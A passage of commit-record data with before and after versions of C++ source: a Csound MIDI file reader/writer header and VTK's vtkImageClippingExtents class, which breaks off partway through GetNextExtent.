0x04,\n                        META_LYRIC = 0x05,\n                        META_MARKER = 0x06,\n                        META_CUE_POINT = 0x07,\n                        META_CHANNEL_PREFIX = 0x20,\n                        META_END_OF_TRACK = 0x2f,\n                        META_SET_TEMPO = 0x51,\n                        META_SMPTE_OFFSET = 0x54,\n                        META_TIME_SIGNATURE = 0x58,\n                        META_KEY_SIGNATURE = 0x59,\n                        META_SEQUENCER_SPECIFIC = 0x74\n                } MetaEventTypes;\n                typedef enum {\n                        CONTROLLER_MOD_WHEEL = 1,\n                        CONTROLLER_BREATH = 2,\n                        CONTROLLER_FOOT = 4,\n                        CONTROLLER_BALANCE = 8,\n                        CONTROLLER_PAN = 10,\n                        CONTROLLER_EXPRESSION = 11,\n                        \/* 7 bit controllers *\/\n                        CONTROLLER_DAMPER_PEDAL = 0x40,\n                        CONTROLLER_PORTAMENTO = 0x41,\n                        CONTROLLER_SOSTENUTO = 0x42,\n                        CONTROLLER_SOFT_PEDAL = 0x43,\n                        CONTROLLER_GENERAL_4 = 0x44,\n                        CONTROLLER_HOLD_2 = 0x45,\n                        CONTROLLER_7GENERAL_5 = 0x50,\n                        CONTROLLER_GENERAL_6 = 0x51,\n                        CONTROLLER_GENERAL_7 = 0x52,\n                        CONTROLLER_GENERAL_8 = 0x53,\n                        CONTROLLER_TREMOLO_DEPTH = 0x5c,\n                        CONTROLLER_CHORUS_DEPTH = 0x5d,\n                        CONTROLLER_DETUNE = 0x5e,\n                        CONTROLLER_PHASER_DEPTH = 0x5f,\n                        \/* parameter values *\/\n                        CONTROLLER_DATA_INC = 0x60,\n                        CONTROLLER_DATA_DEC = 0x61,\n                        \/* parameter selection *\/\n                        CONTROLLER_NON_REG_LSB = 0x62,\n                        CONTROLLER_NON_REG_MSB = 0x63,\n                        CONTROLLER_REG_LSB = 0x64,\n                        CONTROLLER_REG_MSG = 0x65,\n                        CONTROLLER_CONTINUOUS_AFTERTOUCH = 128\n                } MidiControllers;\n                static int readVariableLength(std::istream &stream);\n                static void writeVariableLength(std::ostream &stream, int value);\n                static int toInt(int c1, int c2, int c3, int c4);\n                static short toShort(int c1, int c2);\n                static int readInt(std::istream &stream);\n                static void writeInt(std::ostream &stream, int value);\n                static short readShort(std::istream &stream);\n                static void writeShort(std::ostream &stream, short value);\n                static int chunkName(int a, int b, int c, int d);\n                void computeTimes(void);\n                int currentTick;\n                double currentTime;\n                double currentSecondsPerTick;\n                double microsecondsPerQuarterNote;\n                unsigned char lastStatus;\n                MidiHeader midiHeader;\n                TempoMap tempoMap;\n                std::vector<MidiTrack> midiTracks;\n                MidiFile(void);\n                virtual ~MidiFile(void);\n                virtual void clear(void);\n                virtual void read(std::istream &stream);\n                virtual void write(std::ostream &stream);\n                virtual void load(std::string filename);\n                virtual void save(std::string filename);\n                virtual void dump(std::ostream &stream);\n                virtual void sort(void);\n        };\n\n        bool SILENCE_PUBLIC operator < (const MidiEvent &a, MidiEvent &b);\n}\n#endif\n<commit_msg>Consistent declaration of operator <.<commit_after>\/*\n * C S O U N D   V S T\n *\n * A VST plugin version of Csound, with Python scripting.\n *\n * L I C E N S E\n *\n * This software is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This software is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this software; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n#ifndef MIDIFILE_H\n#define MIDIFILE_H\n#include \"Platform.hpp\"\n#ifdef SWIG\n%module CsoundAC\n%{\n#include <algorithm>\n#include <utility>\n#include <fstream>\n#include <iostream>\n#include <map>\n#include <string>\n#include <vector>\n  %}\n%include \"std_string.i\"\n%template(MidiEventVector) std::vector<csound::MidiEvent>;\n%template(MidiByteVector) std::vector<unsigned char>;\n#else\n#include <algorithm>\n#include <utility>\n#include <fstream>\n#include <iostream>\n#include <map>\n#include <string>\n#include <vector>\n#endif\n\nnamespace csound\n{\n  typedef unsigned char csound_u_char;\n  class MidiFile;\n\n  class SILENCE_PUBLIC Chunk\n  {\n  public:\n    int id;\n    int chunkSize;\n    int chunkSizePosition;\n    int chunkStart;\n    int chunkEnd;\n    Chunk(const char *_id);\n    virtual ~Chunk(void);\n    virtual void read(std::istream &stream);\n    virtual void write(std::ostream &stream);\n    virtual void markChunkSize(std::ostream &stream);\n    virtual void markChunkStart(std::ostream &stream);\n    virtual void markChunkEnd(std::ostream &stream);\n  };\n\n  class SILENCE_PUBLIC MidiHeader : public Chunk\n  {\n  public:\n    short type;\n    short trackCount;\n    short timeFormat;\n    MidiHeader(void);\n    virtual ~MidiHeader(void);\n    virtual void clear(void);\n    virtual void read(std::istream &stream);\n    virtual void write(std::ostream &stream);\n  };\n\n  \/**\n   * This class is used to store ALL Midi messages.\n   *\/\n  class SILENCE_PUBLIC MidiEvent : public std::vector<csound_u_char>\n  {\n  public:\n    int ticks;\n    double time;\n    MidiEvent(void);\n    virtual ~MidiEvent(void);\n    virtual void read(std::istream &stream, MidiFile &midiFile);\n    virtual void write(std::ostream &stream, MidiFile &midiFile, int lastTick);\n    virtual int getStatus(void);\n    virtual int getStatusNybble(void);\n    virtual int getChannelNybble(void);\n    virtual int getKey(void);\n    virtual int getVelocity(void);\n    virtual int getMetaType(void);\n    virtual unsigned char getMetaData(int i);\n    virtual size_t getMetaSize(void);\n    virtual unsigned char read(std::istream &stream);\n    virtual bool isChannelVoiceMessage();\n    virtual bool isNoteOn(void);\n    virtual bool isNoteOff(void);\n    virtual bool isMatchingNoteOff(MidiEvent &offEvent);\n    friend SILENCE_PUBLIC bool operator < (const MidiEvent &a, MidiEvent &b);\n  };\n\n  class SILENCE_PUBLIC MidiTrack : public Chunk, public std::vector<MidiEvent>\n  {\n  public:\n    MidiTrack(void);\n    virtual ~MidiTrack(void);\n    virtual void read(std::istream &stream, MidiFile &midiFile);\n    virtual void write(std::ostream &stream, MidiFile &midiFile);\n    virtual void sort(void);\n  };\n\n  class SILENCE_PUBLIC TempoMap : public std::map<int, double>\n  {\n  public:\n    double getCurrentSecondsPerTick(int tick);\n  };\n\n  \/**\n   * Reads and writes format 0 and format 1 standard MIDI files.\n   *\/\n  class SILENCE_PUBLIC MidiFile\n  {\n  public:\n    typedef enum {\n      CHANNEL_NOTE_OFF = 0x80,\n      CHANNEL_NOTE_ON = 0x90,\n      CHANNEL_KEY_PRESSURE = 0xa0,\n      CHANNEL_CONTROL_CHANGE = 0xb0,\n      CHANNEL_PROGRAM_CHANGE = 0xc0,\n      CHANNEL_AFTER_TOUCH = 0xd0,\n      CHANNEL_PITCH_BEND = 0xe0,\n      SYSTEM_EXCLUSIVE = 0xf0,\n      SYSTEM_MIDI_TIME_CODE = 0xf1,\n      SYSTEM_SONG_POSITION_POINTER = 0xf2,\n      SYSTEM_SONG_SELECT = 0xf3,\n      SYSTEM_TUNE_REQUEST = 0xf6,\n      SYSTEM_END_OF_EXCLUSIVE = 0xf7,\n      SYSTEM_TIMING_CLOCK = 0xf8,\n      SYSTEM_START = 0xfa,\n      SYSTEM_CONTINUE = 0xfb,\n      SYSTEM_STOP = 0xfc,\n      SYSTEM_ACTIVE_SENSING = 0xfe,\n      META_EVENT = 0xff\n    } MidiEventTypes;\n    typedef enum {\n      META_SEQUENCE_NUMBER = 0x00,\n      META_TEXT_EVENT = 0x01,\n      META_COPYRIGHT_NOTICE = 0x02,\n      META_SEQUENCE_NAME = 0x03,\n      META_INSTRUMENT_NAME = 0x04,\n      META_LYRIC = 0x05,\n      META_MARKER = 0x06,\n      META_CUE_POINT = 0x07,\n      META_CHANNEL_PREFIX = 0x20,\n      META_END_OF_TRACK = 0x2f,\n      META_SET_TEMPO = 0x51,\n      META_SMPTE_OFFSET = 0x54,\n      META_TIME_SIGNATURE = 0x58,\n      META_KEY_SIGNATURE = 0x59,\n      META_SEQUENCER_SPECIFIC = 0x74\n    } MetaEventTypes;\n    typedef enum {\n      CONTROLLER_MOD_WHEEL = 1,\n      CONTROLLER_BREATH = 2,\n      CONTROLLER_FOOT = 4,\n      CONTROLLER_BALANCE = 8,\n      CONTROLLER_PAN = 10,\n      CONTROLLER_EXPRESSION = 11,\n      \/* 7 bit controllers *\/\n      CONTROLLER_DAMPER_PEDAL = 0x40,\n      CONTROLLER_PORTAMENTO = 0x41,\n      CONTROLLER_SOSTENUTO = 0x42,\n      CONTROLLER_SOFT_PEDAL = 0x43,\n      CONTROLLER_GENERAL_4 = 0x44,\n      CONTROLLER_HOLD_2 = 0x45,\n      CONTROLLER_7GENERAL_5 = 0x50,\n      CONTROLLER_GENERAL_6 = 0x51,\n      CONTROLLER_GENERAL_7 = 0x52,\n      CONTROLLER_GENERAL_8 = 0x53,\n      CONTROLLER_TREMOLO_DEPTH = 0x5c,\n      CONTROLLER_CHORUS_DEPTH = 0x5d,\n      CONTROLLER_DETUNE = 0x5e,\n      CONTROLLER_PHASER_DEPTH = 0x5f,\n      \/* parameter values *\/\n      CONTROLLER_DATA_INC = 0x60,\n      CONTROLLER_DATA_DEC = 0x61,\n      \/* parameter selection *\/\n      CONTROLLER_NON_REG_LSB = 0x62,\n      CONTROLLER_NON_REG_MSB = 0x63,\n      CONTROLLER_REG_LSB = 0x64,\n      CONTROLLER_REG_MSG = 0x65,\n      CONTROLLER_CONTINUOUS_AFTERTOUCH = 128\n    } MidiControllers;\n    static int readVariableLength(std::istream &stream);\n    static void writeVariableLength(std::ostream &stream, int value);\n    static int toInt(int c1, int c2, int c3, int c4);\n    static short toShort(int c1, int c2);\n    static int readInt(std::istream &stream);\n    static void writeInt(std::ostream &stream, int value);\n    static short readShort(std::istream &stream);\n    static void writeShort(std::ostream &stream, short value);\n    static int chunkName(int a, int b, int c, int d);\n    void computeTimes(void);\n    int currentTick;\n    double currentTime;\n    double currentSecondsPerTick;\n    double microsecondsPerQuarterNote;\n    unsigned char lastStatus;\n    MidiHeader midiHeader;\n    TempoMap tempoMap;\n    std::vector<MidiTrack> midiTracks;\n    MidiFile(void);\n    virtual ~MidiFile(void);\n    virtual void clear(void);\n    virtual void read(std::istream &stream);\n    virtual void write(std::ostream &stream);\n    virtual void load(std::string filename);\n    virtual void save(std::string filename);\n    virtual void dump(std::ostream &stream);\n    virtual void sort(void);\n  };\n\n  bool SILENCE_PUBLIC operator < (const MidiEvent &a, MidiEvent &b);\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkImageClippingExtents.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n  Thanks:    Thanks to David G Gobbi who developed this class.\n\nCopyright (c) 1993-2001 Ken Martin, Will Schroeder, Bill Lorensen \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n   this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and\/or other materials provided with the distribution.\n\n * Neither name of Ken Martin, Will Schroeder, or Bill Lorensen nor the names\n   of any contributors may be used to endorse or promote products derived\n   from this software without specific prior written permission.\n\n * Modified source versions must be plainly marked as such, and must not be\n   misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n\n#include <math.h>\n#include \"vtkImageClippingExtents.h\"\n#include \"vtkImplicitFunction.h\"\n#include \"vtkObjectFactory.h\"\n\n\n\/\/----------------------------------------------------------------------------\nvtkImageClippingExtents* vtkImageClippingExtents::New()\n{\n  \/\/ First try to create the object from the vtkObjectFactory\n  vtkObject* ret = vtkObjectFactory::CreateInstance(\"vtkImageClippingExtents\");\n  if(ret)\n    {\n    return (vtkImageClippingExtents*)ret;\n    }\n  \/\/ If the factory was unable to create the object, then create it here.\n  return new vtkImageClippingExtents;\n}\n\n\/\/----------------------------------------------------------------------------\nvtkImageClippingExtents::vtkImageClippingExtents()\n{\n  this->ClippingObject = NULL;\n\n  this->ClippingExtent[0] =  0;\n  this->ClippingExtent[1] = -1;\n  this->ClippingExtent[2] =  0;\n  this->ClippingExtent[3] = -1;\n  this->ClippingExtent[4] =  0;\n  this->ClippingExtent[5] = -1;\n\n  this->ClippingSpacing[0] = 1;\n  this->ClippingSpacing[1] = 1;\n  this->ClippingSpacing[2] = 1;\n\n  this->ClippingOrigin[0] = 0;\n  this->ClippingOrigin[1] = 0;\n  this->ClippingOrigin[2] = 0;\n\n  this->ClippingLists = NULL;\n  this->ClippingListLengths = NULL;\n}\n\n\/\/----------------------------------------------------------------------------\nvtkImageClippingExtents::~vtkImageClippingExtents()\n{\n  if (this->ClippingObject)\n    {\n    this->ClippingObject->Delete();\n    }\n\n  if (this->ClippingLists)\n    {\n    int n = ((this->ClippingExtent[3] - this->ClippingExtent[2] + 1) *\n             (this->ClippingExtent[5] - this->ClippingExtent[4] + 1));\n    for (int i = 0; i < n; i++)\n      {\n      delete [] this->ClippingLists[i];\n      }\n    delete [] this->ClippingLists;\n    }\n  if (this->ClippingListLengths)\n    {\n    delete [] this->ClippingListLengths;\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkImageClippingExtents::PrintSelf(ostream& os, vtkIndent indent)\n{\n  vtkObject::PrintSelf(os,indent);\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkImageClippingExtents::BuildExtents(vtkImageData *output)\n{\n  \/\/ check to see whether the output information has changed\n  int informationChanged = 0;\n  int *extent = output->GetWholeExtent();\n  float *spacing = output->GetSpacing();\n  float *origin = output->GetOrigin();\n\n  for (int j = 0; j < 3; j++)\n    {\n    if (extent[2*j] != this->ClippingExtent[2*j] ||\n        extent[2*j+1] != this->ClippingExtent[2*j+1] ||\n        spacing[j] != this->ClippingSpacing[j] ||\n        origin[j] != this->ClippingOrigin[j])\n      {\n      informationChanged = 1;\n      break;\n      }\n    }\n\n  \/\/ check to see whether the clipping object has changed\n  int clippingChanged = 0;\n  if (this->ClippingObject->IsA(\"vtkDataObject\"))\n    {\n    ((vtkDataObject *)this->ClippingObject)->Update();\n    }\n\n  if (this->GetMTime() > this->BuildTime.GetMTime() ||\n      (this->ClippingObject &&\n       this->ClippingObject->GetMTime() > this->BuildTime.GetMTime()))\n    {\n    clippingChanged = 1;\n    }\n\n  if (!(clippingChanged || informationChanged))\n    {\n    return;\n    }\n  \n  \/\/ delete the old clipping information\n  if (this->ClippingLists)\n    {\n    int n = ((this->ClippingExtent[3] - this->ClippingExtent[2] + 1) *\n             (this->ClippingExtent[5] - this->ClippingExtent[4] + 1));\n    for (int i = 0; i < n; i++)\n      {\n      delete [] this->ClippingLists[i];\n      }\n    delete [] this->ClippingLists;\n    this->ClippingLists = NULL;\n    }\n  if (this->ClippingListLengths)\n    {\n    delete [] this->ClippingListLengths;\n    this->ClippingListLengths = NULL;\n    }\n\n  \/\/ copy WholeExtent to ClippingExtent\n  output->GetWholeExtent(this->ClippingExtent);\n  output->GetSpacing(this->ClippingSpacing);\n  output->GetOrigin(this->ClippingOrigin);\n\n  if (!this->ClippingObject)\n    {\n    return;\n    }\n\n  this->PrepareForThreadedBuildExtents();\n  \/\/ no multithreading yet...\n  this->ThreadedBuildExtents(extent, 0);\n\n  this->Modified();\n  this->BuildTime.Modified();\n}\n\nvoid vtkImageClippingExtents::PrepareForThreadedBuildExtents()\n{\n}\n\nvoid vtkImageClippingExtents::ThreadedBuildExtents(int extent[6],\n                                                   int vtkNotUsed(ThreadId))\n{\n  float *spacing = this->ClippingSpacing;\n  float *origin = this->ClippingOrigin;\n  vtkObject *clipper = this->ClippingObject;\n\n  if (clipper->IsA(\"vtkImplicitFunction\"))\n    {\n    \/\/ allocate new clipping information\n    int n = ((extent[3] - extent[2] + 1) *\n             (extent[5] - extent[4] + 1));\n\n    this->ClippingLists = new int *[n];\n    this->ClippingListLengths = new int[n];\n\n    \/\/ set up the clipping extents from an implicit function by brute force\n    \/\/ (evaluate the function at each and every voxel)\n    vtkImplicitFunction *function = (vtkImplicitFunction *)clipper;\n\n    float point[3];\n    int *clippingListLength = this->ClippingListLengths;\n    int **clippingList = this->ClippingLists;\n\n    for (int idZ = extent[4]; idZ <= extent[5]; idZ++)\n      {\n      point[2] = idZ*spacing[2] + origin[2];\n\n      for (int idY = extent[2]; idY <= extent[3]; idY++)\n        {\n        point[1] = idY*spacing[1] + origin[1];\n        int clistlen = 0;\n        int clistmaxlen = 2;\n        int *clist = new int[clistmaxlen];\n        int state = 1; \/\/ inside or outside, start outside\n\n        for (int idX = extent[0]; idX <= extent[1]; idX++)\n          {\n          point[0] = idX*spacing[0] + origin[0];\n          int newstate = 1;\n          if (function->FunctionValue(point) < 0)\n            {\n            newstate = -1;\n            }\n          if (newstate != state)\n            {\n            if (clistlen >= clistmaxlen)\n              { \/\/ need to allocate more space\n              clistmaxlen *= 2;\n              int *newclist = new int[clistmaxlen];\n              for (int k = 0; k < clistlen; k++)\n                {\n                newclist[k] = clist[k];\n                }\n              delete [] clist;\n              clist = newclist;\n              }\n\n            clist[clistlen++] = idX;\n            }\n\n          state = newstate;\n          } \/\/ for idX\n\n        *clippingListLength++ = clistlen;\n        *clippingList++ = clist;\n        } \/\/ for idY\n\n      } \/\/ for idZ\n    }\n  else\n    {\n    vtkErrorMacro(\"Update: unrecognized clipping object type \" << \n                  clipper->GetClassName());\n    }\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Given the output x extent [rmin,rmax] and the current y, z indices,\n\/\/ return the sub extents [r1,r2] for which transformation\/interpolation\n\/\/ are to be done.  The variable 'iter' should be initialized to zero\n\/\/ before the first call.  The return value is zero if there are no\n\/\/ extents remaining.\nint vtkImageClippingExtents::GetNextExtent(int &r1, int &r2,\n                                           int rmin, int rmax,\n                                           int yIdx, int zIdx, int &iter)\n{\n  int yExt = this->ClippingExtent[3] - this->ClippingExtent[2] + 1;\n  int zExt = this->ClippingExtent[5] - this->ClippingExtent[4] + 1;\n  yIdx -= this->ClippingExtent[2];\n  zIdx -= this->ClippingExtent[4];\n\n  \/\/ initialize r1, r2 to defaults\n  r1 = rmax + 1;\n  r2 = rmax;\n\n  if (yIdx < 0 || yIdx >= yExt || zIdx < 0 || zIdx >= zExt)\n    { \/\/ out-of-bounds in y or z, use null extent\n    return 0;\n    }\n\n  \/\/ if no clipping object is set, just use ClippingExtent\n  if (this->ClippingLists == NULL)\n    {\n    if (iter++ == 0)\n      {\n      r1 = this->ClippingExtent[0];\n      r2 = this->ClippingExtent[1];\n      if (r1 < rmin)\n        {\n        r1 = rmin;\n        }\n      if (r1 > rmax)\n        {\n        r1 = rmax + 1;\n        }\n      if (r2 > rmax)\n        {\n        r2 = rmax;\n        }\n      return (r2 >= r1);\n      }\n    else\n      {\n      return 0;\n      }\n    }\n\n  \/\/ get the ClippingList and ClippingListLength for this yIdx,zIdx\n  int incr = zIdx*yExt + yIdx;\n  int *clist = this->ClippingLists[incr];\n  int clistlen = this->ClippingListLengths[incr];\n\n  if (iter == 0)\n    {\n    int state = 1; \/\/ start outside\n    for ( ; iter < clistlen; iter++)\n      {\n      r1 = rmin;\n      state = -state;\n      if (clist[iter] >= rmin)\n        {\n        if (state < 0)\n          {\n          r1 = clist[iter++];\n          }\n        break;\n        }\n      }\n    }\n  else\n    {\n    if (iter >= clistlen)\n      {\n      return 0;\n      }\n    r1 = clist[iter++];\n    }\n\n  if (r1 > rmax)\n    {\n    r1 = rmax + 1;\n    return 0;\n    }\n\n  if (iter >= clistlen)\n    {\n    return 1;\n    }\n\n  r2 = clist[iter++] - 1;\n\n  if (r2 > rmax)\n    {\n    r2 = rmax;\n    }\n\n  return 1;\n}\n\n<commit_msg>ERR: logistical error in GetNextExtent<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkImageClippingExtents.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n  Thanks:    Thanks to David G Gobbi who developed this class.\n\nCopyright (c) 1993-2001 Ken Martin, Will Schroeder, Bill Lorensen \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n   this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and\/or other materials provided with the distribution.\n\n * Neither name of Ken Martin, Will Schroeder, or Bill Lorensen nor the names\n   of any contributors may be used to endorse or promote products derived\n   from this software without specific prior written permission.\n\n * Modified source versions must be plainly marked as such, and must not be\n   misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n\n#include <math.h>\n#include \"vtkImageClippingExtents.h\"\n#include \"vtkImplicitFunction.h\"\n#include \"vtkObjectFactory.h\"\n\n\n\/\/----------------------------------------------------------------------------\nvtkImageClippingExtents* vtkImageClippingExtents::New()\n{\n  \/\/ First try to create the object from the vtkObjectFactory\n  vtkObject* ret = vtkObjectFactory::CreateInstance(\"vtkImageClippingExtents\");\n  if(ret)\n    {\n    return (vtkImageClippingExtents*)ret;\n    }\n  \/\/ If the factory was unable to create the object, then create it here.\n  return new vtkImageClippingExtents;\n}\n\n\/\/----------------------------------------------------------------------------\nvtkImageClippingExtents::vtkImageClippingExtents()\n{\n  this->ClippingObject = NULL;\n\n  this->ClippingExtent[0] =  0;\n  this->ClippingExtent[1] = -1;\n  this->ClippingExtent[2] =  0;\n  this->ClippingExtent[3] = -1;\n  this->ClippingExtent[4] =  0;\n  this->ClippingExtent[5] = -1;\n\n  this->ClippingSpacing[0] = 1;\n  this->ClippingSpacing[1] = 1;\n  this->ClippingSpacing[2] = 1;\n\n  this->ClippingOrigin[0] = 0;\n  this->ClippingOrigin[1] = 0;\n  this->ClippingOrigin[2] = 0;\n\n  this->ClippingLists = NULL;\n  this->ClippingListLengths = NULL;\n}\n\n\/\/----------------------------------------------------------------------------\nvtkImageClippingExtents::~vtkImageClippingExtents()\n{\n  if (this->ClippingObject)\n    {\n    this->ClippingObject->Delete();\n    }\n\n  if (this->ClippingLists)\n    {\n    int n = ((this->ClippingExtent[3] - this->ClippingExtent[2] + 1) *\n             (this->ClippingExtent[5] - this->ClippingExtent[4] + 1));\n    for (int i = 0; i < n; i++)\n      {\n      delete [] this->ClippingLists[i];\n      }\n    delete [] this->ClippingLists;\n    }\n  if (this->ClippingListLengths)\n    {\n    delete [] this->ClippingListLengths;\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkImageClippingExtents::PrintSelf(ostream& os, vtkIndent indent)\n{\n  vtkObject::PrintSelf(os,indent);\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkImageClippingExtents::BuildExtents(vtkImageData *output)\n{\n  \/\/ check to see whether the output information has changed\n  int informationChanged = 0;\n  int *extent = output->GetWholeExtent();\n  float *spacing = output->GetSpacing();\n  float *origin = output->GetOrigin();\n\n  for (int j = 0; j < 3; j++)\n    {\n    if (extent[2*j] != this->ClippingExtent[2*j] ||\n        extent[2*j+1] != this->ClippingExtent[2*j+1] ||\n        spacing[j] != this->ClippingSpacing[j] ||\n        origin[j] != this->ClippingOrigin[j])\n      {\n      informationChanged = 1;\n      break;\n      }\n    }\n\n  \/\/ check to see whether the clipping object has changed\n  int clippingChanged = 0;\n  if (this->ClippingObject->IsA(\"vtkDataObject\"))\n    {\n    ((vtkDataObject *)this->ClippingObject)->Update();\n    }\n\n  if (this->GetMTime() > this->BuildTime.GetMTime() ||\n      (this->ClippingObject &&\n       this->ClippingObject->GetMTime() > this->BuildTime.GetMTime()))\n    {\n    clippingChanged = 1;\n    }\n\n  if (!(clippingChanged || informationChanged))\n    {\n    return;\n    }\n  \n  \/\/ delete the old clipping information\n  if (this->ClippingLists)\n    {\n    int n = ((this->ClippingExtent[3] - this->ClippingExtent[2] + 1) *\n             (this->ClippingExtent[5] - this->ClippingExtent[4] + 1));\n    for (int i = 0; i < n; i++)\n      {\n      delete [] this->ClippingLists[i];\n      }\n    delete [] this->ClippingLists;\n    this->ClippingLists = NULL;\n    }\n  if (this->ClippingListLengths)\n    {\n    delete [] this->ClippingListLengths;\n    this->ClippingListLengths = NULL;\n    }\n\n  \/\/ copy WholeExtent to ClippingExtent\n  output->GetWholeExtent(this->ClippingExtent);\n  output->GetSpacing(this->ClippingSpacing);\n  output->GetOrigin(this->ClippingOrigin);\n\n  if (!this->ClippingObject)\n    {\n    return;\n    }\n\n  this->PrepareForThreadedBuildExtents();\n  \/\/ no multithreading yet...\n  this->ThreadedBuildExtents(extent, 0);\n\n  this->Modified();\n  this->BuildTime.Modified();\n}\n\nvoid vtkImageClippingExtents::PrepareForThreadedBuildExtents()\n{\n}\n\nvoid vtkImageClippingExtents::ThreadedBuildExtents(int extent[6],\n                                                   int vtkNotUsed(ThreadId))\n{\n  float *spacing = this->ClippingSpacing;\n  float *origin = this->ClippingOrigin;\n  vtkObject *clipper = this->ClippingObject;\n\n  if (clipper->IsA(\"vtkImplicitFunction\"))\n    {\n    \/\/ allocate new clipping information\n    int n = ((extent[3] - extent[2] + 1) *\n             (extent[5] - extent[4] + 1));\n\n    this->ClippingLists = new int *[n];\n    this->ClippingListLengths = new int[n];\n\n    \/\/ set up the clipping extents from an implicit function by brute force\n    \/\/ (evaluate the function at each and every voxel)\n    vtkImplicitFunction *function = (vtkImplicitFunction *)clipper;\n\n    float point[3];\n    int *clippingListLength = this->ClippingListLengths;\n    int **clippingList = this->ClippingLists;\n\n    for (int idZ = extent[4]; idZ <= extent[5]; idZ++)\n      {\n      point[2] = idZ*spacing[2] + origin[2];\n\n      for (int idY = extent[2]; idY <= extent[3]; idY++)\n        {\n        point[1] = idY*spacing[1] + origin[1];\n        int clistlen = 0;\n        int clistmaxlen = 2;\n        int *clist = new int[clistmaxlen];\n        int state = 1; \/\/ inside or outside, start outside\n\n        for (int idX = extent[0]; idX <= extent[1]; idX++)\n          {\n          point[0] = idX*spacing[0] + origin[0];\n          int newstate = 1;\n          if (function->FunctionValue(point) < 0)\n            {\n            newstate = -1;\n            }\n          if (newstate != state)\n            {\n            if (clistlen >= clistmaxlen)\n              { \/\/ need to allocate more space\n              clistmaxlen *= 2;\n              int *newclist = new int[clistmaxlen];\n              for (int k = 0; k < clistlen; k++)\n                {\n                newclist[k] = clist[k];\n                }\n              delete [] clist;\n              clist = newclist;\n              }\n\n            clist[clistlen++] = idX;\n            }\n\n          state = newstate;\n          } \/\/ for idX\n\n        *clippingListLength++ = clistlen;\n        *clippingList++ = clist;\n        } \/\/ for idY\n\n      } \/\/ for idZ\n    }\n  else\n    {\n    vtkErrorMacro(\"Update: unrecognized clipping object type \" << \n                  clipper->GetClassName());\n    }\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Given the output x extent [rmin,rmax] and the current y, z indices,\n\/\/ return the sub extents [r1,r2] for which transformation\/interpolation\n\/\/ are to be done.  The variable 'iter' should be initialized to zero\n\/\/ before the first call.  The return value is zero if there are no\n\/\/ extents remaining.\nint vtkImageClippingExtents::GetNextExtent(int &r1, int &r2,\n                                           int rmin, int rmax,\n                                           int yIdx, int zIdx, int &iter)\n{\n  int yExt = this->ClippingExtent[3] - this->ClippingExtent[2] + 1;\n  int zExt = this->ClippingExtent[5] - this->ClippingExtent[4] + 1;\n  yIdx -= this->ClippingExtent[2];\n  zIdx -= this->ClippingExtent[4];\n\n  \/\/ initialize r1, r2 to defaults\n  r1 = 